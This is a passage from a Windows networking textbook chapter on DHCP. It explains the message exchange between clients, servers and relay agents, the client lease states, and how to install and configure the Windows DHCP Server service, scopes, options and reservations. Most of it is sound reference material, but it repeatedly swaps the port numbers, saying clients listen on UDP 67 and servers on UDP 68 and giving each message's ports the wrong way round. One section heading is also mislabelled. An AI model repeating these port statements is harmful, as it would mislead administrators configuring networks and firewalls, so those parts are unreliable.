server addresses, a DNS domain name, and Windows Internet Name Service (WINS) server
addresses.
When a DHCP server receives a request, it selects an available IPv4 address from a pool of addresses
defined in its database (along with other configuration parameters) and offers it to the DHCP client. If
the client accepts the offer, the IPv4 addressing information is leased to the client for a specified period
of time.
The DHCP client will typically continue to attempt to contact a DHCP server if a response to its request
for an IPv4 address configuration is not received, either because the DHCP server cannot be reached
or because no more IPv4 addresses are available in the pool to lease to the client. For DHCP clients
that are based on Microsoft Windows XP or Windows Server 2003 operating systems, the DHCP Client
service uses the alternate configuration when it cannot contact a DHCP server. The alternate
configuration can be either an Automatic Private IP Addressing [APIPA] address or an alternate
configuration that has been configured manually.
Requests for Comments (RFCs) 2131 and 2132 define the operation of DHCP clients and servers. RFC
1542 defines the operation of DHCP relay agents. All DHCP messages are sent using the User
Datagram Protocol (UDP). DHCP clients listen on UDP port 67. DHCP servers listen on UDP port 68.
DHCP relay agents listen on both UDP ports.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 162
Benefits of Using DHCP
To understand why DHCP is beneficial in configuring TCP/IP on client computers, it is useful to contrast
the manual configuration method with the DHCP method.
Configuring TCP/IP Manually
Correct operation of TCP/IP on a host computer requires careful configuration of an IPv4 address,
subnet mask, and default gateway before the client can communicate with other network nodes. If the
configuration is incorrect, the following might happen:
A user who configures a random IPv4 address, instead of getting a valid IPv4 address from a network
administrator, can create network problems that are difficult to troubleshoot.
An error in typing one of the numbers for the IPv4 address, subnet mask, or default gateway can also
lead to problems. These problems can range from trouble communicating using TCP/IP (if the default
gateway or subnet mask is wrong) to problems with attempting to use a duplicate IPv4 address.
If the network node moves to another subnet, the IPv4 address, subnet mask, and default gateway are
no longer valid and cannot be used for TCP/IP-based connectivity.
Correct manual configuration is especially important for wireless LANs. For example, a wireless user
using a wireless-enabled laptop computer moves from one building to another in a corporate campus.
When the user and their laptop change buildings, they might switch to another subnet. Without
automated configuration, the user must manually type a different IPv4 address, subnet mask, and
default gateway for the new subnet to restore TCP/IP connectivity.
Configuring TCP/IP Using DHCP
Using DHCP to automatically configure IPv4 address configurations means the following:
Users no longer need to acquire IPv4 address configurations from a network administrator to properly
configure TCP/IP.
When a DHCP client is started, it automatically receives an IPv4 address configuration that is
correct for the attached subnet from a DHCP server. When the DHCP client moves to another
subnet, it automatically obtains a new IPv4 address configuration for that subnet.
The DHCP server supplies all of the necessary configuration information to all DHCP clients.
As long as the DHCP server has been correctly configured, all DHCP clients of the DHCP server
are configured correctly.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 163
How DHCP Works
DHCP uses the following basic process to automatically configure a DHCP client:
1. When the TCP/IP protocol initializes and has DHCP enabled on any of its interfaces, the DHCP client
sends a DHCPDiscover message to find the DHCP servers on the network and to obtain a valid IPv4
address configuration.
2. All DHCP servers that receive the DHCPDiscover message and that have a valid IPv4 address
configuration for the client send a DHCPOffer message back to the DHCP client.
3. The DHCP client selects an IPv4 address configuration to use from the DHCPOffer messages that it
receives and sends a DHCPRequest message to all the DHCP servers, requesting the use of the
selected configuration.
The DHCPRequest message identifies the server that sent the offer that the DHCP client selected.
The other DHCP servers that receive the DHCPRequest message that sent offers place their offered
IPv4 addresses back into the available pool of addresses.
4. The selected DHCP server assigns the IPv4 address configuration to the DHCP client and sends a
DHCPAck (acknowledgment) message to the DHCP client.
The DHCP client computer finishes initializing the TCP/IP protocol on the interface. Once complete, the
client can use all TCP/IP services and applications for normal network communications and connectivity
to other IPv4 hosts.
Figure 6-1 shows the basic DHCP process.
Figure 6-1 The basic DHCP process
If a computer has multiple network adapters, the DHCP process occurs separately over each network
adapter that is configured for automatic TCP/IP addressing until each network adapter in the computer
has been allocated a unique IPv4 address configuration.
DHCP Messages and Client States
The DHCP client can go through six states in the DHCP process:
Initializing
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 164
Selecting
Requesting
Bound
Renewing
Rebinding
DHCP clients and servers use the following messages to communicate during the DHCP configuration
process:
DHCPDiscover (sent from client to server)
DHCPOffer (sent from server to client)
DHCPRequest (sent from client to server)
DHCPAck (sent from server to client)
DHCPNak (sent from server to client)
DHCPDecline (sent from client to server)
DHCPRelease (sent from client to server)
Figure 6-2 shows DHCP client states and messages, which are discussed in detail in the following
sections.
Figure 6-2 DHCP states and messages
Computers running Windows XP or Windows Server 2003 use an additional DHCP message, the
DHCPInform message, to request and obtain information from a DHCP server for the following
purposes:
To detect authorized DHCP servers in an environment that includes the Active Directory® directory
service.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 165
To obtain updated addresses for DNS servers and WINS servers and a DNS domain name when
making a remote access connection.
To obtain additional configuration parameters.
The Initializing State
In the Initializing state, the DHCP client is trying to initialize TCP/IP and it does not yet have an IPv4
address configuration. This state occurs the first time the TCP/IP protocol stack is initialized after being
configured for automatic configuration and when the DHCP client cannot renew the lease on an IPv4
address configuration.
When the DHCP client is in the Initializing state, its IPv4 address is 0.0.0.0, also known as the
unspecified address. The DHCP client's first task is to obtain an IPv4 address configuration by
broadcasting a DHCPDiscover message from UDP port 67 to UDP port 68. Because the DHCP client
does not yet have an IPv4 address and has not determined the IPv4 addresses of any DHCP servers,
the source IPv4 address for the DHCPDiscover broadcast is the unspecified address, 0.0.0.0, and the
destination is the limited broadcast address, 255.255.255.255. The DHCPDiscover message contains
the DHCP client’s media access control (MAC) address and computer name.
If a DHCP server is on the DHCP client's subnet, the server receives the broadcast DHCPDiscover
message. If no DHCP server on the DHCP client’s subnet (a more typical configuration), a DHCP relay
agent on the DHCP client’s subnet receives the broadcast DHCPDiscover message and relays it as a
unicast DHCPDiscover message from the DHCP relay agent to one or more DHCP servers. Before
forwarding the original DHCPDiscover message, the DHCP relay agent makes the following changes:
Increments the Hops field in the DHCP header of the DHCPDiscover message. The Hops field, which is
separate from the Time to Live (TTL) field in the IPv4 header, indicates how many DHCP relay agents
have handled this message. Typically, only one DHCP relay agent is located between any DHCP client
and any DHCP server.
If the value of the Giaddr (Gateway IP Address) field in the DHCP header of the DHCPDiscover
message is 0.0.0.0 (as set by the originating DHCP client), changes the value to the IPv4 address of
the interface on which the DHCPDiscover message was received. The Giaddr field records the IPv4
address of an interface on the subnet of the originating DHCP client. The DHCP server uses the value
of the Giaddr field to determine the address range, known as a scope, from which to allocate an IPv4
address to the DHCP client.
Changes the source IPv4 address of the DHCPDiscover message to an IPv4 address assigned to the
DHCP relay agent.
Changes the destination IPv4 address of the DHCPDiscover message to the unicast IPv4 address of a
DHCP server.
The DHCP relay agent sends the DHCPDiscover message as a unicast IPv4 packet rather than as an
IPv4 and MAC-level broadcast. If the DHCP relay agent is configured with multiple DHCP servers, it
sends each DHCP server a copy of the DHCPDiscover message.
Figure 6-3 shows the sending of the DHCPDiscover message by a DHCP relay agent that is configured
with two DHCP servers.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 166
Figure 6-3 Sending the DHCPDiscover message
The Selecting State
In the Initializing state, the DHCP client can select from the set of IPv4 address configurations that the
DHCP servers offered. All DHCP servers that receive the DHCPDiscover message and that have a
valid IPv4 address configuration for the DHCP client respond with a DHCPOffer message from UDP
port 68 to UDP port 67. A DHCP server can receive the DHCPDiscover message either as a broadcast
(because the DHCP server is on the same subnet as the DHCP client) or as a unicast from a DHCP
relay agent.
The DHCP server uses the following process to determine the scope on the DHCP server from which
an IPv4 address for the DHCP client is to be selected and included in the DHCPOffer message:
1. If the Giaddr field is set to 0.0.0.0, set the value of the Giaddr field to the IPv4 address of the
interface on which the DHCPDiscover message was received.
2. For each scope on the DHCP server, perform a bit-wise logical AND of the value in the Giaddr field
with the subnet mask of the scope. If the result matches the subnet prefix of the scope, the DHCP
server allocates an IPv4 address from that scope. To obtain the subnet prefix of the scope, the
DHCP server performs a bit-wise logical AND of the subnet mask of the scope with any address in
the scope.
If the DHCPDiscover message was received as a broadcast, the DHCP server sends the DHCPOffer
message to the DHCP client using the offered IPv4 address as the destination IPv4 address and the
client's MAC address as the destination MAC address. If the DHCPDiscover message was received as
a unicast, the DHCP server sends the DHCPOffer message to the DHCP relay agent. The DHCP relay
agent uses the Giaddr value to determine the interface to use to forward the DHCPOffer message. The
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 167
DHCP relay agent then forwards the DHCPOffer message to the client using the offered IPv4 address
as the destination IPv4 address and the client's MAC address as the destination MAC address.
Figure 6-4 shows the sending of the DHCPOffer message.
Figure 6-4 Sending of DHCPOffer message
Note The discussion of how the DHCP server or DHCP relay agent sends DHCP messages to the DHCP
client during the Selecting, Bound, and Rebinding states assumes that the Broadcast bit in the DHCP
header of DHCP messages that the DHCP client sends is set to 0. The Broadcast bit indicates whether the
DHCP client must receive responses to broadcast DHCPDiscover, DHCPRequest, and DHCPDecline
messages as broadcasts, rather than as unicasts. The DHCP Client service in Windows Server 2003 and
Windows XP allows unicast responses and therefore always sets the Broadcast bit to 0. The DHCP Client
service in Windows Server 2008 and Windows Vista does not allow unicast responses and therefore always
sets the Broadcast bit to 1.
The DHCPOffer messages contain the DHCP client’s MAC address, an offered IPv4 address,
appropriate subnet mask, a server identifier (the IPv4 address of the offering DHCP server), the length
of the lease, and other configuration parameters. When a DHCP server sends a DHCPOffer message
offering an IPv4 address, the DHCP server reserves the IPv4 address so that it will not be offered to
another DHCP client.
The DHCP client selects the IPv4 address configuration of the first DHCPOffer message it receives. If
the DHCP client does not receive any DHCPOffer messages, it continues to retry sending
DHCPDiscover messages for up to one minute. After one minute, a DHCP client based on Windows
Server 2003 or Windows XP configures an alternate configuration, either through APIPA or an alternate
configuration that has been configured manually.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 168
The Requesting State
In the Requesting state, the DHCP client requests a specific IP address configuration by broadcasting a
DHCPRequest message. The client must use a broadcast because it does not yet have a confirmed
IPv4 address configuration. Just as in the DHCPDiscover message, the DHCP client sends the
DHCPRequest message from UDP port 67 to UDP port 68 using the source IPv4 address of 0.0.0.0
and the destination IPv4 address of 255.255.255.255.
If the DHCP client does not have a DHCP server on its subnet, a DHCP relay agent on its subnet
receives the broadcast DHCPRequest message and relays it as a unicast DHCPRequest message
from the DHCP relay agent to one or more DHCP servers.
The data in the DHCPRequest message varies in the following way, depending on how the requested
IPv4 address was obtained:
If the IPv4 address configuration of the DHCP client was just obtained with a
DHCPDiscover/DHCPOffer message exchange, the DHCP client includes the IPv4 address of the
server from which it received the offer in the DHCPRequest message. This server identifier causes the
specified DHCP server to respond to the request and all other DHCP servers to retract their DHCP
offers to the client. These retractions make the IPv4 addresses that the other DHCP servers offered
immediately available to the next DHCP client.
If the IPv4 address configuration of the client was previously known (for example, the computer was
restarted and is trying to renew its lease on its previous address), the DHCP client does not include the
IPv4 address of the server from which it received the IPv4 address configuration. This condition
ensures that when restarting, the DHCP client can renew its IPv4 address configuration from any DHCP
server.
Figure 6-5 shows the sending of the DHCPRequest message.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 169
Figure 6-5 Sending the DHCPRequest message
The Bound State
In the Bound state, the DHCP client receives confirmation that DHCP server has allocated and
reserved the offered IPv4 address configuration to the DHCP client. The DHCP server that leased the
requested IPv4 address responds with either a successful acknowledgment (DHCPAck) or a negative
acknowledgment (DHCPNak). The DHCP server sends the DHCPAck message from UDP port 68 to
UDP port 67, and the message contains a lease period for the requested IPv4 address configuration as
well as any additional configuration parameters.
If the DHCPRequest message was received as a broadcast, the DHCP server sends the DHCPAck
message to the DHCP client using the offered IPv4 address as the destination IPv4 address and the
client's MAC address as the destination MAC address. If the DHCPRequest was received as a unicast,
the DHCP server sends the DHCPAck message to the DHCP relay agent. The DHCP relay agent uses
the Giaddr value to determine the interface to use to forward the DHCPAck message. The DHCP relay
agent then forwards the DHCPAck message to the DHCP client using the offered IPv4 address as the
destination IPv4 address and the DHCP client's MAC address as the destination MAC address.
Figure 6-6 shows the sending of the DHCPAck message.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 170
Figure 6-6 Sending the DHCPAck message
When the DHCP client receives the DHCPAck message, it enters the Bound state. The DHCP client
completes the initialization of TCP/IP, which includes verifying that the IPv4 address is unique on the
subnet. If the IPv4 address is unique, the DHCP client computer can use TCP/IP to communicate. If the
IPv4 address is not unique, the DHCP client broadcasts a DHCPDecline message and returns to the
Initializing state. The DHCP server receives the DHCPDecline message either as a broadcast or as a
unicast through a DHCP relay agent. When the DHCP server receives the DHCPDecline message, it
marks the offered IPv4 address as unusable.
A DHCP server sends a DHCPNak (DHCP negative acknowledgement) message if:
The client is trying to lease its previous IPv4 address and the IPv4 address is no longer available.
The IPv4 address is invalid because the client has been physically moved to a different subnet.
The DHCPNak message is forwarded to the DHCP client's subnet using the same method as the
DHCPAck message. When the DHCP client receives a DHCPNak, it returns to the Initializing state.
The Renewing State
In the Renewing state, a DHCP client is attempting to renew the lease on its IPv4 address configuration
by communicating directly with its DHCP server. By default, DHCP clients first try to renew their lease
when 50 percent of the lease time has expired. To renew its lease, a DHCP client sends a unicast
DHCPRequest message to the DHCP server from which it obtained the lease.
The DHCP server automatically renews the lease by responding with a DHCPAck message. This
DHCPAck message contains the new lease and additional configuration parameters so that the DHCP
client can update its settings. For example, the network administrator might have updated settings on
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 171
the DHCP server since the lease was acquired or last renewed. When the DHCP client has renewed its
lease, it returns to the Bound state.
Figure 6-7 shows the DHCP renewing process.
Figure 6-7 The DHCP renewing process
The Rebinding State
In the Rebinding state, a DHCP client is attempting to renew the lease on its IPv4 address configuration
by communicating directly with any DHCP server. When 87.5 percent of the lease time has expired and
the DHCP client has been unsuccessful in contacting its DHCP server to renew its lease, the DHCP
client attempts to contact any available DHCP server by broadcasting DHCPRequest messages. Any
DHCP server can respond with a DHCPAck message renewing the lease or a DHCPNak message
denying the continued use of the IPv4 address configuration.
If the lease expires or the DHCP client receives a DHCPNak message, it must immediately discontinue
using the IPv4 address configuration and return to the Initializing state. If the client loses its IPv4
address, communication over TCP/IP will stop until a different IPv4 address is assigned to the client.
This condition will cause network errors for any applications that attempt to communicate using the
invalid address.
Figure 6-8 shows the DHCP rebinding process.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 172
Figure 6-8 The DHCP rebinding process
Restarting a Windows DHCP Client
The DHCP Client service in Windows XP and Windows Server 2003 uses these states when leasing an
IPv4 address configuration from a DHCP server. However, when a Windows-based DHCP client is shut
down, by default it does not release the IPv4 address configuration and return to the Initializing state. It
does not send a DHCPRelease message and, from the perspective of the DHCP server, the client is
still in the Bound state. When the Windows DHCP Client service is restarted, it enters the Requesting
state and attempts to lease its previously allocated IPv4 address configuration through a broadcasted
DHCPRequest message. The DHCPRequest is sent to the limited IPv4 broadcast address
255.255.255.255 and to the MAC-level broadcast address and contains the MAC address and the
previously allocated IPv4 address of the DHCP client.
Note You can change the default behavior of a DHCP client running Windows XP or Windows Server 2003
so that the client sends a DHCPRelease message when it shuts down. To make this change, you use the
Microsoft vendor-specific DHCP option named Release DHCP Lease on Shutdown.
Figure 6-9 shows the DHCP states for a Windows-based DHCP client.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 173
Figure 6-9 DHCP states for a Windows-based DHCP client
When a DHCP relay agent on the subnet receives the DHCPRequest message, it makes the following
changes to the message before forwarding:
Increments the Hops field in the DHCP header.
Records the IPv4 address of the interface on which the DHCPRequest message was received in the
Giaddr field.
Changes the source IPv4 address of the DHCPRequest message to an IPv4 address assigned to the
DHCP relay agent.
Changes the destination IPv4 address to the IPv4 address of a DHCP server.
When the DHCP server receives the DHCPRequest message, it compares the subnet prefix of client's
previously allocated IPv4 address to the subnet prefix of the IPv4 address stored in the Giaddr field and
does the following:
If the two subnet prefixes are the same and the IPv4 address can be reallocated to the DHCP client, the
DHCP server sends a DHCPAck to the DHCP relay agent. When the DHCP relay agent receives the
DHCPAck, the agent re-addresses the message to the client's current IPv4 address and MAC address.
If the two subnet prefixes are the same and the IPv4 address cannot be reallocated to the DHCP client,
the DHCP server sends a DHCPNak to the DHCP relay agent. When the DHCP relay agent receives
the DHCPNak, it sends the message to the client's current IPv4 address and MAC address. At this
point, the DHCP client goes into the Initializing state.
If the two subnet prefixes are not the same, the DHCP client has moved to a different subnet, and the
DHCP server sends a DHCPNak to the DHCP relay agent. When the DHCP relay agent receives the
DHCPNak, the agent sends the message to the client's current IPv4 address and MAC address. At this
point, the DHCP client goes into the Initializing state.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 174
The Windows DHCP Server Service
Before you install a Windows-based DHCP server, ask yourself these questions:
What IPv4 configuration options will DHCP clients obtain from a DHCP server (such as default
gateway, DNS servers, a DNS domain name, or WINS servers)?
The IPv4 configuration options determine how you should configure the DHCP server and whether
the options should be created for all clients in the entire network, clients on a specific subnet, or
individual clients.
Will all computers become DHCP clients?
If not, consider that non-DHCP clients have static IPv4 addresses, and you might have to exclude
those addresses from the scopes that you create on DHCP servers. If a specific DHCP client
requires a specific IPv4 address, you must reserve the address.
Will a DHCP server supply IPv4 addresses to multiple subnets?
If so, each subnet must contain a DHCP relay agent. If a subnet does not have a DHCP relay
agent, you must install a separate DHCP server on the subnet.
How many DHCP servers do you require?
To ensure fault tolerance for DHCP configuration, you should use at least two DHCP servers. You
might need additional DHCP servers for branch offices of a large organization.
Installing the DHCP Server Service
To install the DHCP Server service on Windows Server 2008, do the following:
1. Click Start, point to Programs, point to Administrative Tools, and then click Server Manager.
2. In the console tree, right-click Roles, click Add Roles, and then click Next.
3. On the Select Server Roles page, select the DHCP Server check box, and then click Next.
4. Follow the pages of the Add Roles wizard to perform an initial configuration of the DHCP Server
service.
To install the DHCP Server service on Windows Server 2003, do the following:
1. Click Start, click Control Panel, double-click Add or Remove Programs, and then click
Add/Remove Windows Components.
2. Under Components, click Networking Services.
3. Click Details.
4. In Subcomponents of Networking Services, click Dynamic Host Configuration Protocol
(DHCP), and then click OK.
5. Click Next. If prompted, type the full path to the Windows Server 2003 installation files, and then click
Next.
The DHCP Server service starts automatically. The DHCP Server service must be running to
communicate with DHCP clients.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 175
The DHCP server cannot be a DHCP client. It must have a manually configured IPv4 address, subnet
mask, and default gateway address on all of its LAN interfaces.
DHCP and Active Directory Integration
The DHCP Server service is integrated with Active Directory to provide authorization for DHCP servers.
An unauthorized DHCP server on a network can disrupt network operations by allocating incorrect
addresses or configuration options. A DHCP server that is a domain controller or a member of an Active
Directory domain queries Active Directory for the list of authorized servers (identified by IPv4 address).
If its own IPv4 address is not in the list of authorized DHCP servers, the DHCP Server service does not
complete its startup sequence and automatically shuts down.
For a DHCP server that is not a member of the Active Directory domain, the DHCP Server service
sends a broadcast DHCPInform message to request information about the root Active Directory domain
in which other DHCP servers are installed and configured. Other DHCP servers on the network respond
with a DHCPAck message, which contains information that the querying DHCP server uses to locate
the Active Directory root domain. The starting DHCP server then queries Active Directory for a list of
authorized DHCP servers and starts the DHCP Server service only if its own address is in the list.
BOOTP Support
The bootstrap protocol (BOOTP) is a host configuration protocol that was developed before DHCP to
allow a diskless host computer to obtain an IPv4 address configuration, the name of a boot file, and the
location of a Trivial File Transfer Protocol (TFTP) server from which the computer loads the boot file.
The DHCP Server service supports BOOTP clients through the BOOTP Table folder in the console tree
of the DHCP snap-in. The display of this folder is disabled by default, but you can enable it from the
General tab in the properties of a DHCP server in the DHCP snap-in. After you enable the display of
that folder, you can add BOOTP image entries specifying the location of boot files and TFTP servers for
BOOTP clients from the BOOTP Table folder.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 176
DHCP Server Service Configuration
The configuration of the DHCP Server service consists of a set of properties for the DHCP server,
scopes, and DHCP options. This service is typically configured using the DHCP snap-in located in the
Administrative Tools folder. You can also use netsh dhcp commands to configure local or remote
DHCP servers.
Properties of the DHCP Server
To modify the properties of a DHCP server running Windows Server 2008, right-click either IPv4 or
IPv6 in the console tree of the DHCP snap-in, and click Properties. To modify the properties of a
DHCP server running Windows Server 2003, right-click the name of the server in the console tree of the
DHCP snap-in, and click Properties. A properties dialog box should appear with the following tabs:
General
On the General tab, you can enable the automatic update of statistics in the server statistics
window of the DHCP snap-in and specify how often the statistics are updated. You can also enable
DHCP audit logging to record DHCP server activity in a file and enable the display of the BOOTP
Table folder in the DHCP console tree.
DNS
On the DNS tab, you can specify the settings for DNS dynamic update.
Network Access Protection
For IPv4 properties for DHCP servers running Windows Server 2008, on the Network Access
Protection tab, you can specify the settings for DHCP Network Access Protection (NAP)
enforcement. For more information about NAP, see the NAP Web page.
Advanced
On the Advanced tab, you can configure server conflict detection (the DHCP Server service
attempts to ping each address it intends to offer before sending the DHCPOffer message);
configure paths for the audit log, database, and backup database; and specify which connections
(LAN interfaces) on which the DHCP Server service is listening for DHCP messages and
credentials for DNS dynamic updates.
Figure 6-10 shows the properties dialog box for a DHCP server running Windows Server 2008.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 177
Figure 6-10 The properties dialog box for a DHCP server running Windows Server 2008
DHCP Scopes
A DHCP scope is the consecutive range of possible IPv4 unicast addresses that DHCP clients on a
subnet can use. Scopes typically define a single physical subnet on your network to which DHCP
services are offered. Scopes are the primary way for the DHCP server to manage distribution and
assignment of IPv4 addresses and any related configuration parameters to DHCP clients on the
network.
The DHCP Server service also supports multicast scopes.
Configuring a DHCP Scope
After you have installed and started the DHCP Server service, your next step is to configure a scope.
Every DHCP server requires at least one scope with a pool of IPv4 addresses available for leasing to
DHCP clients. Typically, you create multiple scopes—one for each subnet for which the DHCP is
offering addresses.
If a subnet contains manually configured TCP/IP nodes, you should exclude their IPv4 addresses from
the scope. Otherwise, the DHCP server might allocate an address that is already in use on the subnet,
causing problems with duplicate addresses.
To create a DHCP scope, do the following:
1. In the console tree of the DHCP snap-in, right-click the IPv4 node or, for DHCP servers running
Windows Server 2003, the DHCP server on which you want to configure a scope, and then click New
scope.
2. Follow the instructions in the New Scope Wizard.
The New Scope Wizard guides you through naming the scope; specifying the address range,
exclusions, and lease duration; configuring DHCP options (default gateway, DNS settings, WINS
settings); and activating the scope. If you do not activate the scope from the New Scope Wizard, you
can manually activate it by right-clicking the scope name in the console tree, and then clicking Activate.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 178
Deploying Multiple DHCP Servers
To ensure that DHCP clients can lease IPv4 addresses even if a DHCP server becomes unavailable,
you should create multiple scopes for each subnet and distribute them among the DHCP servers in the
network. As a general rule, you should do the following for each subnet:
On a DHCP server that is designated the primary DHCP server for the subnet, create a scope
containing approximately 80 percent of the IPv4 addresses available to DHCP clients.
On a DHCP server that is designated as the secondary DHCP server for the subnet, create a scope
containing approximately 20 percent of the IPv4 addresses available to DHCP clients.
When the primary DHCP server for a subnet becomes unavailable, the secondary DHCP server can
still service DHCP clients on the subnet.
Figure 6-11 shows a simplified example DHCP configuration.
Figure 6-11 An example of subnet address distribution on multiple DHCP servers
Server1 has a scope for the local subnet with an IPv4 address range of 131.107.4.20 through
131.107.4.160, and Server2 has a scope with an IPv4 address range of 131.107.3.20 through
131.107.3.160. Each server can lease IPv4 addresses to clients on its own subnet.
Additionally, each server has a scope containing a small range of IPv4 addresses for the other subnet.
For example, Server1 has a scope for Subnet B with the IPv4 address range of 131.107.3.161 through
131.107.3.200. Server2 has a scope for Subnet A with the IPv4 address range of 131.107.4.161
through 131.107.4.200. If a client on Subnet A is unable to lease an address from Server1, it can lease
an address for its subnet from Server2, and vice versa.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 179
The primary DHCP server for a subnet does not have to be located on the subnet. In practice, most
subnets do not contain a DHCP server, but they do contain a DHCP relay agent. For a large network in
which the DHCP servers are located on network segments containing other servers, the primary DHCP
server for a given subnet is the DHCP server that is topologically closest to the subnet and contains
approximately 80 percent of the addresses for the subnet. The secondary DHCP server for a given
subnet is the DHCP server that is topologically farther from the subnet than the primary DHCP server
and contains approximately 20 percent of the addresses for the subnet.
Because DHCP servers do not share scope information, it is important that each scope contain a
unique range of IPv4 addresses. If the scopes of different DHCP servers contain the same IPv4
addresses (known as overlapping scopes), multiple servers can lease the same IPv4 addresses to
different DHCP clients on a subnet, causing problems with duplicate IPv4 addresses.
Superscopes
A superscope is an administrative grouping of scopes that you can use to support multiple logical IPv4
subnets on the same physical subnet. Superscopes contain a list of member scopes that can be
activated together. You cannot use superscopes to configure other details about scope usage. For
configuring most properties used within a superscope, you must configure individual properties of
member scopes.
By using a superscope, you can support DHCP clients on locally attached or remote networks that have
multiple logical subnets on one physical network segment (sometimes referred to as a multi-net).
To create a superscope, do the following:
1. In the console tree of the DHCP snap-in, right-click the IPv4 node or, for DHCP servers running
Windows Server 2003, the DHCP server on which you want to configure a superscope, and then
click New superscope.
2. Follow the instructions in the New Superscope Wizard.
The New Superscope Wizard guides you through naming the superscope and selecting the set of
previously created scopes to add to the superscope.
Options
Options are other TCP/IP configuration parameters that a DHCP server can assign when offering
leases to DHCP clients. For example, commonly used options include IPv4 addresses for default
gateways (routers), DNS servers, DNS domain names, and WINS servers. Options can apply to all the
scopes configured on the DHCP server or only to a specific scope. Most options are predefined in RFC
2132, but you can use the DHCP snap-in to define and add custom option types if needed.
You can manage options at the following levels:
Server options
These options apply to all scopes defined on a DHCP server. Server options are available to all
DHCP clients of the DHCP server. Server options are used when all clients on all subnets require
the same configuration information. For example, you might want to configure all DHCP clients to
use the same DNS domain name. Server options are always used, unless overridden by scope,
class, or reservation options.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 180
Scope options
These options apply to all DHCP clients that obtain a lease within a particular scope. For example,
each subnet has a different IPv4 address as its default gateway address. Therefore, the option for
assigning the default gateway must be a scope option. Scope options override global options for
the same configuration parameter.
Class options
These options apply only to clients that are identified as members of a specified vendor or user
class when obtaining a lease. For more information about vendor and user classes, see "DHCP
Options Classes" in this chapter.
Reservation options
These options apply only to a single reserved client computer and require a reservation to be used
in an active scope. Reservation options override server and scope options for the same
configuration parameter. For more information about reservations, see "Client Reservations" in this
chapter.
To configure a scope option:
1. In the console tree of the DHCP snap-in, open the IPv4 node or, for DHCP servers running Windows
Server 2003, the DHCP server on which you want to configure a scope option, and then open the
applicable scope.
2. Right-click Scope Options, and then click Configure Options.
3. In Available Options, select the check box for the first option that you want to configure.
4. Under Data entry, type the information required for this option, and then click OK.
5. Repeat the steps 3-4 for any other options you want to specify.
You can also click the Advanced tab, and specify additional scope options to apply only to members of
selected user or vendor classes.
Figure 6-12 shows an example of the configuration of the DNS Servers scope option.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 181
Figure 6-12 An example of configuring the DNS Servers scope option
Even though a DHCP server running Windows Server 2008 or Windows Server 2003 can offer all the
options in the options list, DHCP clients running Windows Vista, Windows XP, Windows Server 2008
and Windows Server 2003 request only the options listed in Table 6-1 during the DHCP configuration
process.
Option
Description
001 Subnet Mask
Specifies the subnet mask associated with the leased
IPv4 address. The subnet mask is configured with a
scope and does not need to be separately configured
as an option.
003 Router
Specifies the IPv4 address of a host's default gateway.
006 DNS Servers
Specifies the IPv4 addresses of DNS servers.
015 DNS Domain Name
Specifies the connection-specific DNS domain suffix to
be used by the DHCP client.
031 Perform Router Discovery
Specifies whether the DHCP client uses Internet
Control Message Protocol (ICMP) router discovery as
a host, as specified in RFC 1256.
033 Static Route
Specifies a set of classful IPv4 network destinations
and their corresponding router IPv4 addresses that
DHCP clients add to their IPv4 routing tables.
043 Vendor-specific Information
Specifies that vendor-specific options are requested.
044 WINS/NBNS Servers
Specifies the IPv4 addresses of WINS servers.
046 WINS/NBT Node Type
Specifies the type of network basic input/output
system (NetBIOS) over TCP/IP name resolution to be
used by the client.
047 NetBIOS Scope ID
Specifies the NetBIOS scope ID. NetBIOS over
TCP/IP will communicate only with other NetBIOS
hosts using the same scope ID.
121 Classless Static Routes
Specifies a set of classless routes that are added to
the IPv4 routing table of the DHCP client.
249 Classless Static Routes
Specifies a set of classless routes that are added to
the IPv4 routing table of the DHCP client.
Table 6-1 DHCP options requested by a Windows-based DHCP client
Windows components can request additional DHCP options by using the DhcpRequestParams()
function call. For more information, see How to Request Additional DHCP Options from a DHCP
Server. DHCP clients that are not running Windows can request any DHCP option.
Client Reservations
You use a client reservation to ensure that a specified interface of a network node is always allocated
the same IPv4 address. Some DHCP clients cannot change their IPv4 address configuration. For
example, servers on a network that contains clients that are not WINS-enabled should always lease the
same IPv4 address. Clients that are not WINS-enabled must use the Lmhosts file to resolve NetBIOS
computer names of hosts on remote networks. If the IPv4 address of the server changes because it is
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 182
not reserved, name resolution using Lmhosts will fail. Reserving an IPv4 address for the server ensures
that its IPv4 address will remain the same.
To configure a client reservation:
1. In the console tree of the DHCP snap-in, open the IPv4 node or, for DHCP servers running Windows
Server 2003, the DHCP server on which you want to configure a reservation, and then open the
applicable scope or superscope.
2. Right-click Reservations, and then click New Reservation.
3. In New Reservation, type the information required to complete the client reservation.
